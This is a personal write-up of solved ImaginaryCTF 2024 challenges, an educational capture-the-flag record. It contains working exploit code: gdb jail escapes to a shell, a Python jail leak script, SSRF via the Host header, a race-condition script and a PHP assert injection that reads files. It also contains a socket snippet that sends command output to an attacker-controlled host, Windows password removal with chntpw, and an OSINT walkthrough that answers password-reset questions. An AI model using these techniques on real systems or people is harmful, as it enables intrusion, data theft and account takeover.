ImaginaryCTF 2024 WriteUp
[TOC]
# ImaginaryCTF 2024 WriteUp
Solo played ImaginaryCTF as [t510599](https://2024.imaginaryctf.org/User/301.html), Rank #69/1457 (Score: 2901)
<details class="ts accordion">
<summary><i class="dropdown icon"></i> Solved Challenges</summary>
![challenges](https://img.stoneapp.tech/t510599/imaginaryctf-2024/Challenges.png)
</details>
Official Challenge Archive: https://github.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public
---
## Misc
### starship
The challenge is a KNN model, which identifies if the target is friendly or enemy.
To get the flag, one has to make the 2 incoming object be classified as friendly.
There is a hidden option "42", which can add a new entry into dataset.
We can see the target object's value, so just simply choose one object and tag it as friendly.
Train several times and you can get flag.
```
> 4
target 1: 65,40,20,100,76,73,24,2,58 | result: enemy
target 2: 33,31,54,80,41,110,27,-5,90 | result: enemy
> 42
enter data: 65,40,20,100,76,73,24,2,58,friendly
> 2
model trained!
> 2
model trained!
> 2
model trained!
> 2
model trained!
> 4
target 1: 65,40,20,100,76,73,24,2,58 | result: friendly
target 2: 33,31,54,80,41,110,27,-5,90 | result: friendly
flag: ictf{m1ssion_succ3ss_8fac91385b77b026}
```
### gdbjail1
The challenge provides user an interactive gdb, which run `/bin/cat` and break on `read`.
```python
gdb.execute("file /bin/cat")
gdb.execute("break read")
gdb.execute("run")
```
The challenge also implements a gdb python script, which allows only `break`, `set` and `continue` as command.
```python
if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"):
try:
gdb.execute(command)
except gdb.error as e:
print(f"Error executing command '{command}': {e}")
else:
print("Only 'break', 'set', and 'continue' commands are allowed.")
```
With challenge provided Dockerfile, we can dump its libc:
```
$ md5sum /lib/x86_64-linux-gnu/libc.so.6
3ffd733fd1e00b1f8ef939de78b33509 /lib/x86_64-linux-gnu/libc.so.6
```
And we can find its `one_gadget`:
```
0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
```
If we jump to `libc base + 0xebc85` with `r10 = NULL` and `rdx = NULL`, we can get shell.
When we stuck at breakpoint, its `$RIP` points to `libc.symbol['read']`, so we can calculate the address of one_gadget.
`set` can be used to set registers, so we override `$rip` as jump, and set corresponding registers
Exploit:
```
# offset hex(libc.symbol['read'] - 0xebc85) = 0x28b4b
set $rip=$rip-0x28b4b
set $rdx=0
set $r10=0
continue
continue
cat *.txt
```
### gdbjail2
Same as [gdbjail1](#gdbjail1), it runs `/bin/cat` and break at `read`, but it introduces blacklist:
```
blacklist = ["p", "-", "&", "(", ")", "[", "]", "{", "}", "0x"]
```
Therefore, we cannot override `$rip` to control the flow ("p").
I used `docker exec -it gdbjail /bin/bash` with patched `gdbinit.sh` to run gdb with same env as the challenge but without blacklist.
When I played with the local container, it has shown that:
```
Starting program: /usr/bin/cat
warning: Error disabling address space randomization: Operation not permitted
warning: /proc is not accessible.
warning: opening /proc/PID/mem file for lwp 68.68 failed: No such file or directory (2)
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x24e0
```
Notice that `Error disabling address space randomization`, I realized that the address won't change accross the connection due to disabled ASLR ([default of gdb](https://visualgdb.com/gdbreference/commands/set_disable-randomization))
One can also verify that by connecting multiple times, and one will see `buf` in read argument is consistent address.
```
Breakpoint 1, __GI___libc_read (fd=0, buf=0x7ffff7d6b000, nbytes=131072) at ../sysdeps/unix/sysv/linux/read.c:25
```
Now get libc base:
```
(gdb) info proc mappings
process 20
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x555555554000 0x555555556000 0x2000 0x0 r--p /usr/bin/cat
0x555555556000 0x55555555a000 0x4000 0x2000 r-xp /usr/bin/cat
0x55555555a000 0x55555555c000 0x2000 0x6000 r--p /usr/bin/cat
0x55555555c000 0x55555555d000 0x1000 0x7000 r--p /usr/bin/cat
0x55555555d000 0x55555555e000 0x1000 0x8000 rw-p /usr/bin/cat
0x55555555e000 0x55555557f000 0x21000 0x0 rw-p [heap]
0x7ffff7d6a000 0x7ffff7d8f000 0x25000 0x0 rw-p
0x7ffff7d8f000 0x7ffff7db7000 0x28000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7db7000 0x7ffff7f4c000 0x195000 0x28000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f4c000 0x7ffff7fa4000 0x58000 0x1bd000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fa4000 0x7ffff7fa5000 0x1000 0x215000 ---p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fa5000 0x7ffff7fa9000 0x4000 0x215000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fa9000 0x7ffff7fab000 0x2000 0x219000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
```
Next, in read's assembly code, `ret` is at the end of the function.
In addition, there is no other stack operation in read function.
```
(gdb) disassemble
Dump of assembler code for function __GI___libc_read:
=> 0x00007ffff7ea37d0 <+0>: endbr64
0x00007ffff7ea37d4 <+4>: mov %fs:0x18,%eax
0x00007ffff7ea37dc <+12>: test %eax,%eax
0x00007ffff7ea37de <+14>: jne 0x7ffff7ea37f0 <__GI___libc_read+32>
0x00007ffff7ea37e0 <+16>: syscall
0x00007ffff7ea37e2 <+18>: cmp $0xfffffffffffff000,%rax
0x00007ffff7ea37e8 <+24>: ja 0x7ffff7ea3840 <__GI___libc_read+112>
0x00007ffff7ea37ea <+26>: ret
```
By overriding value at the stack top (`$rsp`), when it runs to `ret` instruction, it would jump to `*$rsp`
```
(gdb) x/gx $rsp
0x7fffffffeaf8: 0x0000555555557ba6
```
We can jump to one_gadget now.
`set` can be not only used to set register, but also write memory.
In addition, only `0x` is banned, only need to use decimal memory addresses.
`set` write memory as int (4 bytes), so I write `$rsp` with lower address and `$rsp+4` with higher address of one_gadget.
Exploit:
```
# base (fixed) + one_gadget
# write to rsp
set *140737488349944=140737352543365
set *140737488349948=32767
set $rdx=0
set $r10=0
# continue until $rsp
continue
continue
cat *.txt
```
### ok-nice
```python
#!/usr/bin/env python3
flag = open('flag.txt').read()
print("Welcome to the jail! It is so secure I even have a flag variable!")
blacklist=['0','1','2','3','4','5','6','7','8','9','_','.','=','>','<','{','}','class','global','var','local','import','exec','eval','t','set','blacklist']
while True:
inp = input("Enter input: ")
for i in blacklist:
if i in inp:
print("ok nice")
exit(0)
for i in inp:
if (ord(i) > 125) or (ord(i) < 40) or (len(set(inp))>17):
print("ok nice")
exit(0)
try:
eval(inp,{'__builtins__':None,'ord':ord,'flag':flag})
print("ok nice")
except:
print("error")
```
pyjail with ord and flag in globals, and blacklist banned integers and several operators
Input allows only some ASCII chars (so no fullwidth tricks), and also limit the length of used charset
If the exception occurs, it would show `error`
Observe the blacklist, although comparators are banned, `+`, `-`, `/` can still be used.
What's more, the division may raise `ZeroDivisionError`, we can make use of it to leak flag.
With bool values, integers can be composed by adding them together.
Try to calculate a fraction with `True` (1) as numerator and `ord(flag[idx])-(ord(guess))` as denominator.
If error occurs, then the `guess` is correct.
So the template becomes `True/(ord(flag[{}])-({}))`, and used charset is `{'a', '(', 'o', ']', 'r', 'u', '[', '-', '+', ')', '/', 'g', 'l', 'e', 'T', 'd', 'f'}` (length 17)
```python
import string
from pwn import *
import concurrent.futures
def gen_number(n):
if n == 0:
return "True-True"
else:
return "+".join(["True"] * n)
host, port = "ok-nice.chal.imaginaryctf.org", 1337
def brute(i):
# disable pwn tools connection message
context.log_level = "critical"
r = remote(host, port)
charset = "\n" + string.ascii_letters + string.digits + "{}_"
for c in charset:
r.recvuntil(b"Enter input: ")
r.sendline(template.format(gen_number(i), gen_number(ord(c))).encode())
resp = r.recvline().decode()
if "error" in resp:
if c == "\n":
return
return i, c
template = "True/(ord(flag[{}])-({}))"
result = []
with concurrent.futures.ThreadPoolExecutor() as executor:
futures = []
for i in range(40):
future = executor.submit(brute, i)
futures.append(future)
for f in concurrent.futures.as_completed(futures):
if res := f.result():
print(res[0])
result.append(res)
result.sort(key=lambda x: x[0])
flag = "".join([x[1] for x in result])
print(flag)
```
### Locked
Open the provided disk image directly, when I navigated to Desktop, I saw user's wallpaper:
By the file name on the Desktop, I realized that the flag is the arrangement of files, and their filename composed the flag.
Mount the disk into linux VM, and use `chntpw` to remove user's password.
```
cd /mnt/os/Windows/System32/config
sudo chntpw -u admin SAM
```
```
> 2 (Unlock and enable user account)
```
Then boot into Windows without password!
![desktop](https://img.stoneapp.tech/t510599/imaginaryctf-2024/misc/Locked/solve.png)
## Web
### readme
The flag is contained in Dockerfile.
### readme2
By fuzzing the url, I found that `//` as path make the server threw an error.
(*Explaination: [maple's writeup](https://github.com/maple3142/My-CTF-Challenges/tree/master/ImaginaryCTF%202024/readme2#unintended-solution-sob)*)
(*Additional Reference: [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#section-5.2)*)
By digging deeper, I found that `Host` header is directly filled into `req.url`:
[src/bun.js/webcore/request.zig#L387-L391](https://github.com/oven-sh/bun/blob/c5c55c7ce4ed3356ea0195f969205c0379f2d91e/src/bun.js/webcore/request.zig#L387-L391)
Which means that I can use `//` in `Host` for SSRF.
In addition, `fetch` follow redirect by default, thus we can make use of this behavior to redirect to flag path.
Payload:
```
Host: localhost//<my server>
```
Write a simple web server for redirection:
```python
import http.server
class RequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'localhost:3000/../../flag.txt')
self.end_headers()
self.wfile.write(b'ok')
@staticmethod
def run():
httpd = http.server.HTTPServer(('0.0.0.0', 8000), RequestHandler)
httpd.serve_forever()
if __name__ == '__main__':
RequestHandler.run()
```
![curl](https://img.stoneapp.tech/t510599/imaginaryctf-2024/web/readme2/curl.png)
### The Amazing Race
The challenge is a maze where the goal is always surrounded by the wall.
In the route handler, the move check and moving is seperated operation, and database is committed after every operation.
```python
canMove = getCanMove(mazeId)
validMoves = ["up", "down", "left", "right"]
moveIdx = None
if moveStr in validMoves:
moveIdx = validMoves.index(moveStr)
validMovesDict = {"up": (-1, 0), "down": (1, 0), "left": (0, -1), "right": (0, 1)}
move = validMovesDict.get(moveStr, None)
if not move or moveIdx is None or not canMove[moveIdx]:
return redirect(f"/{mazeId}")
currentLoc = getLoc(mazeId)
newLoc = [bound(currentLoc[0] + move[0]), bound(currentLoc[1] + move[1])]
writeLoc(mazeId, newLoc)
mazeStr = getMaze(mazeId)
maze = [[c for c in row] for row in mazeStr.splitlines()]
maze[currentLoc[0]][currentLoc[1]] = '.'
maze[newLoc[0]][newLoc[1]] = '@'
writeMaze(mazeId, '\n'.join(''.join(row) for row in maze))
newCanMove = []
for dr, dc in [(-1, 0), (1, 0), (0, -1), (0, 1)]:
checkLoc = [newLoc[0] + dr, newLoc[1] + dc]
newCanMove.append(
inn(checkLoc[0]) and inn(checkLoc[1])
and maze[checkLoc[0]][checkLoc[1]] != '#'
)
writeCanMove(mazeId, newCanMove)
```
Therefore, one may even bypass wall before the available move is written to database.
In addition, at the game start, player can always move down/right.
Simply race the server to bypass the wall.
```python
import re
import requests as r
from concurrent.futures import ThreadPoolExecutor
url = "http://the-amazing-race.chal.imaginaryctf.org/"
res = r.get(url)
maze_id = res.url.split("/")[-1]
def move(direction):
res = r.post(url + "move", params={"id": maze_id, "move": direction})
if "ictf" in res.text:
print(re.findall(r"ictf\{.*\}", res.text)[0])
print(maze_id)
# race
# after move to the rightmost edge, move to the bottom
with ThreadPoolExecutor(100) as executor:
for _ in range(100):
executor.submit(move, "down")
executor.submit(move, "down")
executor.submit(move, "up")
executor.submit(move, "down")
executor.submit(move, "up")
executor.submit(move, "down")
executor.shutdown(wait=True)
```
![race](https://img.stoneapp.tech/t510599/imaginaryctf-2024/web/The%20Amazing%20Race/race.png)
You can see that there are several `@` in the map.
### journal
Code injection for assertion:
```
if (isset($_GET['file'])) {
$file = $_GET['file'];
$filepath = './files/' . $file;
assert("strpos('$file', '..') === false") or die("Invalid file!");
if (file_exists($filepath)) {
include($filepath);
} else {
echo 'File not found!';
}
}
```
We can manipulate the rule to check if assertion fails.
1\. leak filename
`implode` the `scandir('/')` return value and make use of `strpos` to leak flag char by char
2\. leak file length
`strlen(file_get_contents('<fn>')) == <len>`
3\. leak file content
`substr(file_get_contents('<fn>'), <idx>, 1) === '<char>'`
Exploit:
```python
from string import ascii_lowercase, ascii_uppercase, digits
import concurrent.futures
import re
import requests as r
site = "http://journal.chal.imaginaryctf.org"
def fetch(url):
response = r.get(url)
# print(url, response.text)
return "Warning" not in response.text
def get_name(known, char):
payload = "'.implode(' ', scandir('/')), 'flag-{}') %26%26 strpos('1"
url = site + "/?file=" + payload.format(known + char)
if fetch(url):
return char
fn = "cARdaInFg6dD10uWQQgm"
while len(fn) < 20:
with concurrent.futures.ThreadPoolExecutor() as executor:
futures = []
for char in ascii_lowercase + ascii_uppercase + digits:
futures.append(executor.submit(get_name, fn, char))
for result in concurrent.futures.as_completed(futures):
if char := result.result():
fn += char
print(fn)
break
executor.shutdown(wait=True)
print(fn)
def get_len(l):
payload = "', 'c8763') === false %26%26 strlen(file_get_contents('{}')) == {} %26%26 strpos('1"
url = site + "/?file=" + payload.format(f"/flag-{fn}.txt", l)
if fetch(url):
return l
for l in range(40, 100):
if get_len(l):
print(l)
break
def get_content(i, c):
payload = "', 'c8763') === false %26%26 substr(file_get_contents('{}'), {}, 1) === '{}' %26%26 strpos('1"
url = site + "/?file=" + payload.format(f"/flag-{fn}.txt", i, c)
if fetch(url):
return c
flag = "ictf{"
# flag = "ictf{assertion_failed_e3106922feb13b10}"
while len(flag) < l and re.match("ictf{.*}", flag) is None:
with concurrent.futures.ThreadPoolExecutor() as executor:
futures = []
for char in ascii_lowercase + ascii_uppercase + digits + "}_":
futures.append(executor.submit(get_content, len(flag), char))
for result in concurrent.futures.as_completed(futures):
if char := result.result():
flag += char
print(flag)
break
executor.shutdown(wait=True)
```
Reference: https://www.linkedin.com/pulse/php-assert-vulnerable-local-file-inclusion-mohamed-fakroud/
### P2C
Free RCE but no direct response from HTTP.
Write a socket code to send flag back:
```python
import socket
import subprocess
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("<ip>", 40005))
msg = subprocess.check_output("cat flag.txt", shell=True)
sock.send(msg)
```
Server: `nc -nvlp 40005`
### crystals
Flag is set to be container hostname.
To get the flag, just make underlying WEBrick raise error.
`curl "http://crystals.chal.imaginaryctf.org/<"`
![error](https://img.stoneapp.tech/t510599/imaginaryctf-2024/web/crystals/error.png)
## Forensics
### bom
`xxd` shows bytes after `BOM`, which is simple ASCII
### packed
Open the provided Cisco Packet Tracer archive with 7-zip, flag is in the image (`secret.png`) that in the root of compressed archive.
![flag](https://img.stoneapp.tech/t510599/imaginaryctf-2024/forensics/packed/error.png)
### routed
Open the cli of the Router1, run `enable` and `sh ru`,
Shows the following config:
```
!
line vty 0 4
password 7 020F074F0D1D0728484A0C173A191D1F330C2B382C2D3728
login
line vty 5 15
password 7 020F074F0D1D0728484A0C173A191D1F330C2B382C2D3728
login
!
```
password type 7 is actually encoding the password only, so it can be reversed.
Plaintext is the flag.
### cartesian[1-3]
By google `Terrence Descartes`, I found this GitHub account: [descartes1337](https://github.com/descartes1337).
And there is a link to his instagram profile: [descartes.terry2001](https://www.instagram.com/descartes.terry2001/) and a repo called [birthday-card](https://github.com/descartes1337/birthday-card).
Clone the repo and check `git log`, I got his email: `terrencedescartes@gmail.com`.
#### flag 1
Flag 1 is in his [instagram stories](https://www.instagram.com/stories/highlights/18437746888049094/)
#### flag 2
Dig more deeper, I found his [linkedin account](https://www.linkedin.com/in/terrence-descartes-54642831a).
In one of his linkedin posts ([link](https://www.linkedin.com/posts/terrence-descartes-54642831a_netneutrality-freespeech-activity-7220221551969759232-nIPU)), there is a screenshot of deleted Google Map review, which contains the first half of flag 2.
Search by [ghunt](https://github.com/mxrch/GHunt) with his Google account, I dumped his [public calendar](https://calendar.google.com/calendar/ical/terrencedescartes@gmail.com/public/basic.ics), the second half of flag 2 is in an event called `SUMMER TRIP!!!!`.
![ghunt](https://img.stoneapp.tech/t510599/imaginaryctf-2024/forensics/cartesian/ghunt.png)
#### flag 3
To get flag 3, one has to answer several password reset questions:
- What is your email? `terrencedescartes@gmail.com`
- from git log
- On what day were you born? (YYYY-MM-DD) `2001-01-18`
- [IG post](https://www.instagram.com/p/C9lkBOjxQCW/) at 2024/7/19
- mentioned that he is borned in Jan, 2001
- "half birthday vibes"
- What is the name of your favorite pet? `Bonnie`
- [IG post](https://www.instagram.com/p/C9llEYxxl5x/)
- A picture of dog and mentioned that "ilysm bonnie"
- What city have you primarily lived in for the past three months? `San Diego`
- Linkedin profile says that he is studying in **UC San Diego**
- [IG post](https://www.instagram.com/p/C9lmMxHRRrU/?img_index=1) mentioned that "finally free from my last summer classes!"
- In what city did you grow up? `Phoenix`
- [IG post](https://www.instagram.com/p/C9lmMxHRRrU/?img_index=1): (San Diego) "only 300 miles till I get home"
- GitHub profile: "1114 miles from Seattle"
- Calculate intersections, its on about `Nevada`, `Arizona`, and `California` three states
- Bruteforce with [City list](https://www.britannica.com/topic/list-of-cities-and-towns-in-the-United-States-2023068)
- What is the name of your favorite poet? `Robert Frost`
- He is following several accounts about Robert Frost
- https://www.instagram.com/descartes.terry2001/following/
- What was the make and model of your first car? `Honda Civic`
- [IG post](https://www.instagram.com/p/C9lmMxHRRrU/?img_index=1)
- In what year was your father born? `1981`
- [Git commit](https://github.com/descartes1337/birthday-card/commit/e6f565a35fd10136647336780731a4d19aabfac7) says 43 years old
- 2024 - 43 = 1981
- What is your mother's maiden name? `Jackson`
- [Linkedin post](https://www.linkedin.com/feed/update/urn:li:activity:7219899411361882112/) for Amelia **Jackson** Descartes
- At what company do you work at? `Cohort Calculations`
- Linkedin profile
- In what city did you go on vacation last summer? `Saint Paul`
- [Linkedin post](https://www.linkedin.com/feed/update/urn:li:activity:7220221551969759232/) has a screenshot of Como Park Zoo & Conservatory, which locates at Saint Paul
- What are you supposed to do on August 21? `Drop off top secret information`
- The dumped google calendar
- Who was your boss in your first job? `Farmer Johnson`
- Linkedin work experience
- Goose FarmerGoose Farmer at **Farmer Johnson**'s Goose Company
### crash
The challenge provides a memory image.
List processes with volatility3: `python vol.py -f ..\dump.vmem windows.pslist`
See that there is a `notepad.exe` process whose pid is `2216`.
Dump process memory: `python vol.py -f ..\dump.vmem windows.memmap --pid 2216 --dump`
`strings pid.2216.dump` saw a base64-like text: `aWN0ZnthYTBlYjcwN2E0MWIyY2E2fQ==`
Decode it as base64 to get the flag.
### playful-puppy
The challenge provides a world save of minecraft.
In addition, there is a image of a black dog with blue collar. And mentioned that is flag is the name of the dog.
![puppy](https://img.stoneapp.tech/t510599/imaginaryctf-2024/forensics/playful-puppy/image.png)
Refer to [Wolf – Minecraft Wiki](https://minecraft.wiki/w/Wolf), the black dog is `minecraft:black` variant, and CollarType is `11` for blue collar.
I used [mcworldlib](https://github.com/MestreLion/mcworldlib) for minecraft world parsing.
Filter all `minecraft:wolf` entities with `variant == minecraft:black` and `CollarType == 11`:
```
import mcworldlib as mc
world = mc.load("./world/level.dat")
result = []
for region in world.entities[mc.OVERWORLD].values():
for chunk in region.values():
for entity in chunk.entities:
if entity['id'] == "minecraft:wolf":
if entity['variant'] == "minecraft:black":
if entity['CollarColor'].as_unsigned == 11:
print(entity['CustomName'])
```
## Crypto
### base64
Convert flag from base 10 into base 64.
Recover it with naive math.
## Reversing
### unoriginal
IDA F5 -> Just XOR with `0x5`.
Recover XORed flag with python.
2024-07-22 05:52:17
留言
Last fetch: --:--
現在還沒有留言!